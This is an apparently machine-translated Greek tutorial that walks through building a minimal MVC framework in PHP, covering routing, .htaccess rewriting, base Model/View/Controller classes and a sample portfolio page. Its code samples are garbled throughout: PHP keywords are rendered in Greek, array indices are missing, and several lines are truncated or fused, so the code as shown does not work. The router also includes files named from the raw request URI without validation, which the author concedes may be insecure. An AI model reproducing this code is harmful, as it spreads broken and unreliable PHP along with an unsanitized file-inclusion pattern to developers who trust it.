Το ίδιο μοντέλο, για παράδειγμα: το μοντέλο ελέγχου ταυτότητας χρήστη μπορεί να χρησιμοποιηθεί τόσο στο χρήστη όσο και στο διαχειριστικό τμήμα της εφαρμογής. Σε αυτήν την περίπτωση, μπορείτε να μετακινήσετε τον γενικό κώδικα σε μια ξεχωριστή κλάση και να κληρονομήσετε από αυτήν, ορίζοντας μεθόδους για συγκεκριμένες υπο-εφαρμογές στους απογόνους του.
Προβολή - χρησιμοποιείται για τον καθορισμό της εξωτερικής εμφάνισης των δεδομένων που λαμβάνονται από τον ελεγκτή και το μοντέλο.
Οι προβολές περιέχουν σήμανση HTML και μικρά ένθετα κώδικα PHP για διέλευση, μορφοποίηση και εμφάνιση δεδομένων.
Δεν πρέπει να έχει άμεση πρόσβαση στη βάση δεδομένων. Αυτό πρέπει να κάνουν τα μοντέλα.
Δεν πρέπει να λειτουργεί με δεδομένα που λαμβάνονται από αίτημα χρήστη. Αυτή η εργασία πρέπει να εκτελεστεί από τον ελεγκτή.
Μπορεί να έχει άμεση πρόσβαση στις ιδιότητες και τις μεθόδους ενός ελεγκτή ή μοντέλων για τη λήψη δεδομένων έτοιμα για έξοδο.
Οι προβολές συνήθως χωρίζονται σε ένα κοινό πρότυπο, το οποίο περιέχει σήμανση κοινή για όλες τις σελίδες (για παράδειγμα, μια κεφαλίδα και ένα υποσέλιδο) και τμήματα του προτύπου που χρησιμοποιούνται για την εμφάνιση δεδομένων εξόδου από το μοντέλο ή την εμφάνιση φορμών εισαγωγής δεδομένων.
Ο ελεγκτής είναι η κόλλα που συνδέει μοντέλα, όψεις και άλλα εξαρτήματα σε μια εφαρμογή εργασίας. Ο ελεγκτής είναι υπεύθυνος για την επεξεργασία των αιτημάτων των χρηστών. Ο ελεγκτής δεν πρέπει να περιέχει ερωτήματα SQL. Είναι καλύτερα να τα κρατάτε σε μοντέλα. Ο ελεγκτής δεν πρέπει να περιέχει HTML ή άλλη σήμανση. Αξίζει να το δεις.
Σε μια καλά σχεδιασμένη εφαρμογή MVC, οι ελεγκτές είναι συνήθως πολύ λεπτοί και περιέχουν μόνο μερικές δεκάδες γραμμές κώδικα. Δεν μπορούμε να πούμε το ίδιο για τους Stupid Fat Controllers (SFC) στο CMS Joomla. Η λογική του ελεγκτή είναι αρκετά τυπική και το μεγαλύτερο μέρος της μεταφέρεται στις βασικές κλάσεις.
Τα μοντέλα, αντίθετα, είναι πολύ παχιά και περιέχουν το μεγαλύτερο μέρος του κώδικα που σχετίζεται με την επεξεργασία δεδομένων, επειδή η δομή δεδομένων και η επιχειρηματική λογική που περιέχονται σε αυτό είναι συνήθως αρκετά συγκεκριμένα για μια συγκεκριμένη εφαρμογή.
Ελπίζω να έχετε ήδη παρατηρήσει ότι διαφορετικοί ιστότοποι μπορούν να έχουν εντελώς διαφορετικές μορφές για την κατασκευή της γραμμής διευθύνσεων. Κάθε μορφή μπορεί να εμφανίσει την αρχιτεκτονική μιας διαδικτυακής εφαρμογής. Αν και αυτό δεν συμβαίνει πάντα, στις περισσότερες περιπτώσεις είναι ξεκάθαρο γεγονός.
Ας εξετάσουμε δύο επιλογές για τη γραμμή διευθύνσεων, οι οποίες εμφανίζουν κάποιο κείμενο και ένα προφίλ χρήστη.
Πρώτη επιλογή:
Δεύτερη επιλογή:
Μπορείτε να δείτε την προσέγγιση πολλαπλών σημείων επαφής στα φόρουμ phpBB. Το φόρουμ προβάλλεται μέσω του σεναρίου viewforum.php, το θέμα προβάλλεται μέσω του viewtopic.php κ.λπ. Η δεύτερη προσέγγιση, στην οποία έχει πρόσβαση μέσω ενός ενιαίου φυσικού αρχείου σεναρίου, μπορεί να φανεί στο αγαπημένο μου CMS MODX, όπου όλες οι κλήσεις περνούν από το index.php.
Αυτές οι δύο προσεγγίσεις είναι τελείως διαφορετικές. Η πρώτη είναι τυπική για το μοτίβο του ελεγκτή σελίδας και η δεύτερη προσέγγιση υλοποιείται από το μοτίβο του μπροστινού ελεγκτή. Ο ελεγκτής σελίδας είναι καλός για ιστότοπους με αρκετά απλή λογική. Με τη σειρά του, ο ελεγκτής αιτημάτων ενοποιεί όλες τις δραστηριότητες επεξεργασίας αιτημάτων σε ένα μέρος, γεγονός που του δίνει πρόσθετες δυνατότητες που μπορούν να σας επιτρέψουν να υλοποιήσετε πιο σύνθετες εργασίες από αυτές που συνήθως επιλύει ο ελεγκτής σελίδας. Δεν θα μπω σε λεπτομέρειες για την υλοποίηση του ελεγκτή σελίδας, αλλά θα πω μόνο ότι στο πρακτικό μέρος, θα αναπτυχθεί ο ελεγκτής αιτημάτων (κάτι παρόμοιο).
1.2. Δρομολόγηση URL Η δρομολόγηση URL σάς επιτρέπει να διαμορφώσετε την εφαρμογή σας ώστε να δέχεται αιτήματα από διευθύνσεις URL που δεν αντιστοιχούν σε πραγματικά αρχεία εφαρμογής και να χρησιμοποιείτε CNC που έχουν σημασιολογική σημασία για τους χρήστες και προτιμώνται για βελτιστοποίηση μηχανών αναζήτησης.Για παράδειγμα, για μια κανονική σελίδα που εμφανίζει μια φόρμα επικοινωνίας, η διεύθυνση URL μπορεί να μοιάζει με αυτό:
http://www.example.com/contacts.php?action=feedback
Κατά προσέγγιση κωδικός επεξεργασίας σε αυτήν την περίπτωση:
switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "About Us" αλλαγή σελίδας ; case "contacts" : require_once ("contacts.php" ); // αλλαγή σελίδας "Επαφές" ; περίπτωση "feedback" : require_once ("feedback.php" ); // Διακοπή σελίδας "Σχόλια" ; προεπιλογή : require_once ("page404.php" ); // σελίδα "404" αλλαγή ; )
Νομίζω ότι σχεδόν όλοι το έχουν ξανακάνει αυτό.
Χρησιμοποιώντας μια μηχανή δρομολόγησης URL, μπορείτε να διαμορφώσετε την εφαρμογή σας ώστε να δέχεται αιτήματα όπως αυτό για να εμφανίζει τις ίδιες πληροφορίες:
http://www.example.com/contacts/feedback
Εδώ οι επαφές αντιπροσωπεύουν τον ελεγκτή και η ανάδραση είναι η μέθοδος του ελεγκτή επαφών που εμφανίζει τη φόρμα σχολίων κ.λπ. Θα επανέλθουμε σε αυτό το θέμα στο πρακτικό μέρος.
Αξίζει επίσης να γνωρίζετε ότι οι δρομολογητές πολλών πλαισίων ιστού σάς επιτρέπουν να δημιουργείτε προσαρμοσμένες διαδρομές URL (καθορίστε τι σημαίνει κάθε τμήμα της διεύθυνσης URL) και κανόνες για την επεξεργασία τους.
Τώρα έχουμε αρκετές θεωρητικές γνώσεις για να προχωρήσουμε στην πράξη.
Κοιτάζοντας μπροστά, θα πω ότι οι βασικές κλάσεις Model, View και Controller θα αποθηκευτούν στον βασικό φάκελο.
Τα παιδιά τους θα αποθηκευτούν στους καταλόγους ελεγκτών, μοντέλων και προβολών. Το αρχείο index.php είναι το σημείο εισόδου στην εφαρμογή. Το αρχείο bootstrap.php ξεκινά τη φόρτωση της εφαρμογής, συνδέοντας όλες τις απαραίτητες μονάδες κ.λπ.
Θα πάμε διαδοχικά. Ας ανοίξουμε το αρχείο index.php και ας το συμπληρώσουμε με τον ακόλουθο κώδικα:
ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
Δεν πρέπει να υπάρχουν ερωτήσεις εδώ.
Στη συνέχεια, ας πάμε αμέσως στο αρχείο bootstrap.php:
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Διαδρομή::start(); //εκκίνηση του δρομολογητή
Οι τρεις πρώτες γραμμές θα περιλαμβάνουν αρχεία πυρήνα που δεν υπάρχουν επί του παρόντος. Οι τελευταίες γραμμές περιλαμβάνουν το αρχείο με την κλάση του δρομολογητή και το εκκινούν για εκτέλεση καλώντας τη μέθοδο στατικής εκκίνησης.
RewriteEngine σε RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Αυτός ο κώδικας θα ανακατευθύνει όλη την επεξεργασία της σελίδας στο index.php, που είναι αυτό που χρειαζόμαστε. Θυμάστε στο πρώτο μέρος που λέγαμε για το Front Controller;!
Θα τοποθετήσουμε τη δρομολόγηση σε ένα ξεχωριστό αρχείο route.php στον κεντρικό κατάλογο. Σε αυτό το αρχείο θα περιγράψουμε την κλάση Route, η οποία θα εκτελέσει μεθόδους ελεγκτή, οι οποίες με τη σειρά τους θα δημιουργήσουν την προβολή σελίδας.
Περιεχόμενα του αρχείου route.php
class Route ( static function start () ( // controller and default action $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // λήψη το όνομα του ελεγκτή if (!empty ($routes )) ( $controller_name = $routes ; ) // λάβετε το όνομα της ενέργειας εάν (!empty ($routes )) ( $action_name = $routes ; ) // προσθέστε προθέματα $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // συνδέστε το αρχείο με την κλάση μοντέλου (μπορεί να μην υπάρχει αρχείο μοντέλου) $model_file = strtolower ($model_name ). με την κλάση ελεγκτή $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( περιλαμβάνει "application/controllers/" .$controller_e ) else ( /* θα ήταν σωστό να βάλουμε μια εξαίρεση εδώ, αλλά για να απλοποιήσουμε τα πράγματα, θα ανακατευθυνθούμε αμέσως στη σελίδα 404 */ Route::ErrorPage404(); ) // δημιουργήστε έναν ελεγκτή $controller = νέο $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // καλέστε την ενέργεια του ελεγκτή $controller ->$action (); ) αλλιώς ( // εδώ θα ήταν επίσης πιο συνετό να βάλετε μια εξαίρεση Route::ErrorPage404(); ) ) συνάρτηση ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Τοποθεσία:" .$host ."404" ); ) )
Σημειώνω ότι η τάξη εφαρμόζει πολύ απλοποιημένη λογική (παρά τον ογκώδες κώδικα) και μπορεί να έχει ακόμη και προβλήματα ασφαλείας. Αυτό έγινε σκόπιμα γιατί... Η σύνταξη μιας ολοκληρωμένης τάξης δρομολόγησης αξίζει τουλάχιστον ένα ξεχωριστό άρθρο. Ας δούμε τα βασικά σημεία...
Το στοιχείο καθολικού πίνακα $_SERVER["REQUEST_URI"] περιέχει την πλήρη διεύθυνση με την οποία επικοινώνησε ο χρήστης.
Για παράδειγμα: example.ru/contacts/feedback
Χρησιμοποιώντας τη λειτουργία εκραγείΗ διεύθυνση χωρίζεται σε στοιχεία. Ως αποτέλεσμα, παίρνουμε το όνομα του ελεγκτή, για το παράδειγμα που δίνεται, αυτός είναι ελεγκτής επαφέςκαι το όνομα της δράσης, στην περίπτωσή μας - ανατροφοδότηση.
Στη συνέχεια, το αρχείο μοντέλου (το μοντέλο μπορεί να λείπει) και το αρχείο ελεγκτή, εάν υπάρχει, συνδέονται και, τέλος, δημιουργείται μια παρουσία του ελεγκτή και καλείται η ενέργεια, ξανά, εάν περιγράφηκε στην κλάση ελεγκτή.
Έτσι, όταν πηγαίνετε, για παράδειγμα, στη διεύθυνση:
παράδειγμα.com/portfolio
ή
παράδειγμα.com/portfolio/index
Ο δρομολογητής θα εκτελέσει τις ακόλουθες ενέργειες:
παράδειγμα.com/ufo
τότε θα ανακατευθυνθεί στη σελίδα «404»:
example.com/404
Το ίδιο θα συμβεί αν ο χρήστης αποκτήσει πρόσβαση σε μια ενέργεια που δεν περιγράφεται στον ελεγκτή.2.2. Ας επιστρέψουμε στην υλοποίηση MVC. Ας πάμε στον βασικό φάκελο και ας προσθέσουμε τρία ακόμη αρχεία στο αρχείο route.php: model.php, view.php και controller.php
Να σας υπενθυμίσω ότι θα περιέχουν βασικές κλάσεις, τις οποίες τώρα θα αρχίσουμε να γράφουμε.
Περιεχόμενα του αρχείου model.php
Model class (δημόσια συνάρτηση get_data ( ) ( ) )
Η κλάση μοντέλου περιέχει μια ενιαία κενή μέθοδο ανάκτησης δεδομένων, η οποία θα παρακαμφθεί σε κλάσεις καταγωγής. Όταν δημιουργήσουμε τάξεις απογόνων, όλα θα γίνουν πιο ξεκάθαρα.
Περιεχόμενα του αρχείου view.php
class View ( //public $template_view; // εδώ μπορείτε να καθορίσετε την προεπιλεγμένη γενική προβολή. Συνάρτηση δημιουργίας ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // μετατροπή πίνακα στοιχεία σε μεταβλητές extract($data); ) */ περιλαμβάνει "application/views/" .$template_view ; ) )
Δεν είναι δύσκολο να μαντέψει κανείς ότι η μέθοδος παράγωπροορίζεται να σχηματίσει άποψη. Οι ακόλουθες παράμετροι μεταβιβάζονται σε αυτό:
για να εμφανίσετε το περιεχόμενο μιας συγκεκριμένης σελίδας.
Στην περίπτωσή μας, το γενικό πρότυπο θα περιέχει κεφαλίδα, μενού, πλαϊνή γραμμή και υποσέλιδο και το περιεχόμενο της σελίδας θα περιέχεται σε ξεχωριστή φόρμα. Και πάλι, αυτό γίνεται για απλότητα.
Περιεχόμενα του αρχείου controller.php
Ελεγκτής κλάσης ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
Μέθοδος δράση_ευρετήριο- αυτή είναι η ενέργεια που καλείται από προεπιλογή· θα την παρακάμψουμε κατά την υλοποίηση κλάσεων καταγωγής.
Στο προηγούμενο σχήμα, το αρχείο template_view.php επισημαίνεται ξεχωριστά - αυτό είναι ένα πρότυπο που περιέχει σήμανση κοινή για όλες τις σελίδες. Στην απλούστερη περίπτωση θα μπορούσε να μοιάζει με αυτό:
Σπίτι
Για να δώσουμε στον ιστότοπο μια εμφανή εμφάνιση, δημιουργούμε ένα πρότυπο CSS και το ενσωματώνουμε στον ιστότοπό μας αλλάζοντας τη δομή της σήμανσης HTML και συνδέοντας αρχεία CSS και JavaScript:
Στο τέλος του άρθρου, στην ενότητα «Αποτέλεσμα», υπάρχει ένας σύνδεσμος προς ένα αποθετήριο GitHub με ένα έργο στο οποίο έχουν γίνει βήματα για την ενσωμάτωση ενός απλού προτύπου.
Η κλάση Controller_Main επεκτείνει τον Ελεγκτή ( συνάρτηση action_index () ( $this ->view->generate("main_view.php" , "template_view.php"); ) )
Στη μέθοδο παράγωμεταβιβάζονται μια παρουσία της κλάσης View, τα ονόματα των αρχείων του γενικού προτύπου και η προβολή με το περιεχόμενο της σελίδας.
Εκτός από την ενέργεια ευρετηρίου, ο ελεγκτής μπορεί φυσικά να περιέχει και άλλες ενέργειες.
Ελέγξαμε νωρίτερα το αρχείο γενικής προβολής. Εξετάστε το αρχείο περιεχομένου main_view.php:
Καλως ΗΡΘΑΤΕ! Η OLOLOSHA TEAM είναι μια ομάδα κορυφαίων ειδικών στον τομέα της ανάπτυξης ιστοσελίδων με πολυετή εμπειρία στη συλλογή μεξικανικών μάσκες, χάλκινων και πέτρινων αγαλμάτων από την Ινδία και την Κεϋλάνη, ανάγλυφα και γλυπτά που δημιουργήθηκαν από δασκάλους της Ισημερινής Αφρικής πέντε ή έξι αιώνες πριν...
Αυτό περιέχει απλή σήμανση χωρίς κλήσεις PHP.
Για να εμφανίσετε την κύρια σελίδα, μπορείτε να χρησιμοποιήσετε μία από τις ακόλουθες διευθύνσεις:
- μεθόδους βιβλιοθηκών που εφαρμόζουν αφαίρεση δεδομένων. Για παράδειγμα, μέθοδοι της βιβλιοθήκης PEAR MDB2.
- Μέθοδοι ORM.
- μέθοδοι εργασίας με NoSQL.
- και τα λοιπά. Για λόγους απλότητας, δεν θα χρησιμοποιήσουμε ερωτήματα SQL ή δηλώσεις ORM εδώ. Αντίθετα, θα μιμηθούν πραγματικά δεδομένα και θα επιστρέψουμε αμέσως μια σειρά αποτελεσμάτων.
Τοποθετήστε το αρχείο μοντέλου model_portfolio.php στο φάκελο models. Ιδού το περιεχόμενό του:
class Model_Portfolio επεκτείνει το μοντέλο ( δημόσια συνάρτηση get_data () ( πίνακας επιστροφής ("Έτος" => "2012" , "Ιστότοπος" => "http://DunkelBeer.ru" , "Περιγραφή" => "Ιστότοπος προώθησης του μαύρη μπύρα Dunkel από τον γερμανικό κατασκευαστή Löwenbraü που παράγεται στη Ρωσία από την εταιρεία ζυθοποιίας "SUN InBev." ), array ("Year" => "2012" , "Site" => "http://ZopoMobile.ru" , "Περιγραφή " => "Κατάλογος στη ρωσική γλώσσα κινεζικών τηλεφώνων από τη Zopo με βάση το λειτουργικό σύστημα Android και αξεσουάρ για αυτά."), // todo ) ) )
Η κλάση ελεγκτή μοντέλου περιέχεται στο αρχείο controller_portfolio.php, εδώ είναι ο κώδικάς της:
class Controller_Portfolio επεκτείνει τον Ελεγκτή ( συνάρτηση __κατασκευή () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
Σε μια μεταβλητή δεδομέναγράφεται ο πίνακας που επιστρέφεται από τη μέθοδο get_dataπου εξετάσαμε νωρίτερα.
Αυτή η μεταβλητή μεταβιβάζεται στη συνέχεια ως παράμετρος μεθόδου παράγω, το οποίο περιέχει επίσης: το όνομα του αρχείου με το γενικό πρότυπο και το όνομα του αρχείου που περιέχει την προβολή με το περιεχόμενο της σελίδας.
Η προβολή που περιέχει το περιεχόμενο της σελίδας βρίσκεται στο αρχείο portfolio_view.php.
Χαρτοφυλάκιο
Ετος | Εργο | Περιγραφή |